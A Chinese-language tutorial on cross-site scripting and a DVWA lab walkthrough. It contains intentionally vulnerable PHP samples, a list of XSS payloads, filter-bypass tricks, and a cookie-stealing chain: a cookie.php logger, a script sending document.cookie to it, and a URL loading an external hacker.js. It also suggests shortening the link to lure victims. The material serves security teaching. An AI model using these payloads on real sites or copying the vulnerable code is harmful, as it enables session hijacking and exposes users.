XSS

什么是 XSS:

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。XSS的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

XSS的分类

根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。

1
2
3
4
|类型|存储区|插入点|:
|存储型 XSS|后端数据库|HTML|
|反射型 XSS|URL|HTML|
|DOM 型 XSS|后端数据库/前端存储/URL|前端 JavaScript|

存储区:恶意代码存放的位置。
插入点:由谁取得恶意代码,并插入到网页上。

储存型XSS

存储型 XSS 的攻击步骤:
1.攻击者将恶意代码提交到目标网站的数据库中。(储存区)
2.用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。(插入点)
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
5.这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
    //前端:2.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>存储型XSS</title>
</head>
<body>
<form action="action2.php" method="post">
输入你的ID: <input type="text" name="id" /> <br/>
输入你的Name:<input type="text" name="name" /> <br/>
<input type="submit" value="提交">
</form>
</body>
</html>
-------------------------------
//后端:action2.php
<?php
$id=$_POST["id"];
$name=$_POST["name"];
mysql_connect("localhost","root","root");
mysql_select_db("test");

$sql="insert into xss value ($id,'$name')";
$result=mysql_query($sql);
?>
------------------------------
//供其他用户访问页面:show2.php
<?php
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="select * from xss where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['name'];
}
?>
---------------------------------
这里有一个用户提交的页面,数据交给后端后,后端存储在数据库中。然后当其他用户
访问另一个页面时,后端调出改数据,显示给另一个用户,XSS代码执行。
-----------------------------------
我们输入1和<script>alert(\'hack\')</script>,注意,这里的hack的单引号要进行转义,
因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号。
-----------------------------------
当我们提交1和<script>alert(\'hack\')</script>后,XSS代码被插入数据库,
然后当其他用户访问show2.php时,查询id=1,echo $row['name'],xss代码被执行。
-----------------------------------
数据流向:前端-->后端-->数据库-->后端-->前端

反射型XSS

反射型 XSS 的攻击步骤:
1.攻击者构造出特殊的 URL,其中包含恶意代码。(储存区)
2.用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。(插入点)
3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

1
http://x.x.x.x:8080/dosomething?message="<script src="http://www.hacktest.com:8002/xss/hacker.js"></script>" 或者 http://localhost/test.php?param=<script>alert(/xss/)</script> 

注意:
反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。
反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。
由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
POST 的内容也可以触发反射型XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
     //前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
------------------------
//后端 action.php:
<?php
$name=$_POST["name"];
echo $name;
?>
--------------------------------------
提交数据:<script>alert('hack')</script> 弹框hack,插入的语句被执行;
数据流向:前端-->后端-->前端

DOM型XSS

DOM 型 XSS 的攻击步骤:
1.攻击者构造出特殊的 URL,其中包含恶意代码。
2.用户打开带有恶意代码的 URL。
3.用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
注意:
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
----------------------------------
// 前端3.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>DOM型XSS</title>
</head>
<body>
<form action="action3.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
-----------------------
// 后端action3.php
<?php
$name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
var text=document.getElementById("text");
var print=document.getElementById("print");
print.innerHTML=text.value; // 获取 text的值,并且输出在print内。这里是导致xss的主要原因。
</script>
------------------------------
这是一个用户提交页面,用户可以在此提交数据,数据提交后给后台处理:
------------------------------
提交数据:<img src=1 οnerrοr=alert('hack')> ,弹窗hack
------------------------------
数据流向:前端-->浏览器

XSS的攻击载荷

以下所有标签的 > 都可以用 // 代替

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<script>标签:<script>标签是最直接的XSS有效载荷, 脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
-----------------------------
<script>alert("hello")</script> #弹出hello
<script>alert(/hello/)</script> #弹出hello
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
------------------------------
<svg>标签:
------------------------------
<svg onload="alert(1)">
<svg onload="alert(1)"//
------------------------------
<img>标签:
------------------------------
<img src=1 onerror=alert('hack')>


<img src=1 οnerrοr=alert('document.cookie')> #弹出cookie
------------------------------
<body>标签:
------------------------------
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
------------------------------
<video>标签:
------------------------------
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
------------------------------
<Style>标签:
------------------------------
<style οnlοad=alert(1)></style>
------------------------------

DVWA:Reflected Cross Site Scripting

Low

源码:

1
2
3
4
5
6
7
8
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>

(1)array_key_exists检查数组中是否有指定的键名
(2)X-XSS-Protection: 1强制XSS保护(如果XSS保护被用户禁用,则有用);0禁用XSS保护
可以看出本关并没有做任何防御措施,所以我们尝试注入

1
<script>alert(document.cookie)</script>弹出COOKIE


可是当我们进行实战时是无法在目标电脑上这样操作的;这里我使用另外一种方法来获取cookie
1.编写一个cookie.php文档用于获取页面的cookie,放置在一个指定的目录下。

1
2
3
4
5
6
7
8
9
10
获取get传入的cookie参数。
<?php
$cookie = $_GET['cookie'];
echo $cookie;
$log = fopen("cookie.txt", "w");
fwrite($log, $cookie ."\n");
fclose($log);
将cookie写入本地的一个txt文件中
?>

2.接着编写 js 代码(意思就是利用本地的cookie.php这个文件获取cookie,要注意本地的地址要写对。)将页面的cookie发送到cookie.php中

1
2
1)<script>document.location="http://127.0.0.1/cookie.php?cookie="+document.cookie;</script>
此处我们构造一句JS去获取目标的cookie,

3.因为要将构造的要对上面的编写的JS代码进行URL转码:

1
http://localhost/DVWA-master/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E#

解析:
(1)http://localhost/DVWA-master/vulnerabilities/xss_r/?name=
解析:是我们自己搭建的网站(dvwa)的XSS(Reflected)的路径。
(2)%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E#
解析:对

1
<script>document.location="http://localhost/cookie.php?cookie="+document.cookie;</script>

进行url编码
注:在实际中我们可以将此url变换成短链接并放置到公网(或目标服务器)中,等待目标用户点击此链接,一旦目标用户点击,那么攻击者就可以获取他的cookie并将cookie保存到攻击者服务器指定路径下的cookie.txt中。(有点类似于CSRF,但是C
SRF是利用用户的cookie,但是XSS是直接盗取用户的cookie)

Medium

1
2
3
4
5
6
7
8
9
10
<?php
header ("X-XSS-Protection: 0")
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>

由源码可知后台对我们的script做了一个过滤;我们需要绕过这个过滤机制
方法一:大小写绕过SCRIpt
方法二:双写绕过scrscriptript
方法三:使用非script标签
补充:当alter被过滤的时候可以将alter进行unicode编码;例如

1
<script>eval(\u0061\u006c\u0065\u0072\u0074("wann") )</script>

High

1
2
3
4
5
6
7
8
9
10
11
12
核心源码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
  • 代表一个或多个任意字符,i 代表不区分大小写。所以此标签在这里就不能用了,但可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
核心源码:

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>

htmlspecialchars(string):
把预定义的字符:”<”(小于)、 “>”(大于)、& 、 ‘’ 、 “” 转换为HTML实体,防止浏览器将其作为HTML元素。

DVWA:Stored Cross Site Scripting

Low


trim(string,charlist) : 移除string字符两侧的预定义字符,预定义字符包括\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符
stripslashes(string): 去除掉string字符的反斜杠
mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义
以上的过滤是针对预防SQL注入的,对咱们的XSS并没有采取任何防御。
此时我们在注入的时候突然发现在NAME那里似乎有长度限制,我们无法将脚本注入,此时我们对这个限制输入长度进行修改

查看源码发现我们的恶意脚本已经插入;而因为我们的恶意脚本已经是被插入后台,所以,每当后台查寻我们的id时总会带着这个恶意脚本,所以储存型XSS又叫持久型XSS,当我们随便输入一个name时,后台也还是会把我们之前注入的恶意脚本弹出。

当然如果不进行修改长度的话本题也可以使用bp进行拦截,然后直接在bp里面修改我们的payload然后直接进行防包的话也是可以成功的。

Medium


strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用b标签。
addslasses()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了script标签,仍然存在存储型的XSS。
方法一:大写绕过/大小写绕过
方法二:双写绕过
方法三:更换其他标签

High


此题的过滤对message进行了非常严格的过滤;所以我们把攻击点放到了name进行攻击,此时的过滤机制是对script标签进行了一个大小写匹配和无限次的匹配,所以此时我们的script的标签无法使用,但是我们可以使用其他的标签进行一个绕过

Impossile


此时是先对我们的token进行了一个检查,防止我们使用CSRF进行一个跨站请求伪造,进行一个利用cookie进行恶意操作;接下来使用trim()函数移除了字符串两侧的恶意字符,接着删除$message里面的反斜杠,防止SQL注入;接着进行一个数据库查询,然后利用htmlspecialchars( $message )使我们的脚本标签无法使用;做到了全面防御接下来对$name的过滤也是一样
;使我们无法注入恶意脚本进行攻击。

DVWA:DOM Based Cross Site Scripting

HTMLDOM是关于如何获取、修改、添加或删除HTML元素的标准简单来说DOM主要研究的是节点,所有节点可通过javascript访问(增,删,改,查)
可能触发DOM型XSS属性:本实验中主要用到的就是document.write属性
document.write属性
document.referer属性
innerHTML属性
windows.name属性
location属性

Low

在我查看源码时发现并没有源码,我便点击F12果然发现了点不一样的东西

1
2
3
4
5
6
7
8
9
10
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

#document.location.href.indexOf()函数截取url中指定参数后面的内容
#document.location.href.substring()函数截取字符串
#decodeURI()函数将编码过的URI进行解码
#docunment.write()可以将HTML表达式或JavaScript代码
可以看出本关并没有任何的防御措施,所以直接注入

1
<script>alert(document.cookie)</script>

即可获取cookie

Medium


我们知道后台通过查询$default中script标签的位置,若是查询到了该标签的位置,则强行把English赋值赋给$default
这相当于对script标签做了一个过滤,所以我们需要做的就是绕过改机制,还是老方法,大写/大小写绕过;双写绕过;换
另外的标签进行绕过;嗯此时发现不行,嗯失效了,很尴尬,老方法行不通了;对比了了一下LOW级别的发现确实没有插入成功
网上查了一下发现stripos()函数的查找是不缺分大小写的


当我换了另外一种标签时

1
<img src=1 οnerrοr=alert('document.cookie')>发现img标签还是没能插入


补充知识点:
由于select标签内只允许内嵌option标签,而option标签中能内嵌script标签但不能内嵌img等标签,因此需要在注入时先闭合option和select标签从而使注入的标签逃逸出来执行XSS
所以我们需要闭合两个标签才可以使我们的img标签逃逸出来此时发现已经成功插入了首先闭合了option标签 和select标签利用 img标签的onerror事件javascript,img标签支持onerror事件,在加载图像的过程中如果发生了错误,就会触发onerror事件执行 JavaScript

High


采用白名单方式判断default的值。如果不是French,English,German,Spanish四者之一。则利用header()函数将default的值改为English再发送http请求。
绕过:需要一种方法在本地运行你的JS代码而无需经过服务器端的处理。这里提供的一种方法就是,应用#号,URL栏的#号之后的内容并不会发送至服务器端,JS应用该符号实现在页面创建加载过程中定向到指定的页面内容上。
我的理解就是:URL中#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互
payload:

1
Engliah#<script>alert(document.cookie)</script>